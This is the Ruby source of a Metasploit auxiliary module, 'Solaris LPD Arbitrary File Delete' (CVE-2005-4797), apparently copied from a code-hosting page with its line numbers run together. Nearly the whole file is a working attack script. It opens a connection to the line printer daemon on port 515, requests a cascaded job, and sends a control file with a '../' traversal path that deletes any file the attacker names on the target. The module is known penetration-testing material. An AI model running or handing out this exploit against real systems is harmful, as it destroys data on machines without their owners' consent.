Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Solaris LPD Arbitrary File Delete',12'Description' => %q{13This module uses a vulnerability in the Solaris line printer14daemon to delete arbitrary files on an affected system. This15can be used to exploit the rpc.walld format string flaw, the16missing krb5.conf authentication bypass, or simply delete17system files. Tested on Solaris 2.6, 7, 8, 9, and 10.1819},20'Author' => [ 'hdm', 'Optyx <optyx[at]uberhax0r.net>' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2005-4797' ],25[ 'BID', '14510' ],26[ 'OSVDB', '18650' ]27]28))2930register_options(31[32Opt::RPORT(515),33OptString.new('RPATH', [ true, "The remote file path to delete"]),34])35end3637def run383940r_hostname = Rex::Text.rand_text_alpha(rand(8)+1)41r_user = Rex::Text.rand_text_alpha(rand(8)+1)42r_spool = Rex::Text.rand_text_alpha(rand(8)+1)4344# Create a simple control file...45control = "H#{r_hostname}\nP#{r_user}\n";4647# The job ID is squashed down to three decimal digits48jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]4950# Establish the first connection to the server51sock1 = connect(false)5253# Request a cascaded job54sock1.put("\x02#{r_hostname}:#{r_spool}\n")55res = sock1.get_once56if (not res)57print_status("The target did not accept our job request command")58return59end6061# Theoretically, we could delete multiple files at once, however62# the lp daemon will append garbage from memory to the path name63# if we don't stick a null byte after the path. Unfortunately, this64# null byte will prevent the parser from processing the other paths.65control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"6667dataf = Rex::Text.rand_text_alpha(100)+16869print_status("Deleting #{datastore['RPATH']}...")70if !(71send_file(sock1, 2, "cfA" + jid + r_hostname, control) and72send_file(sock1, 3, "dfa" + jid + r_hostname, dataf)73)74sock1.close75return76end7778print_good("Successfully deleted #{datastore['RPATH']} >:-]")79sock1.close80end8182def send_file(s, type, name, data='')8384s.put(type.chr + data.length.to_s + " " + name + "\n")85res = s.get_once(1)86if !(res and res[0] == ?\0)87print_status("The target did not accept our control file command (#{name})")88return89end9091s.put(data)92s.put("\x00")93res = s.get_once(1)94if !(res and res[0] == ?\0)95print_status("The target did not accept our control file data (#{name})")96return97end9899print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))100return true101end102end103104105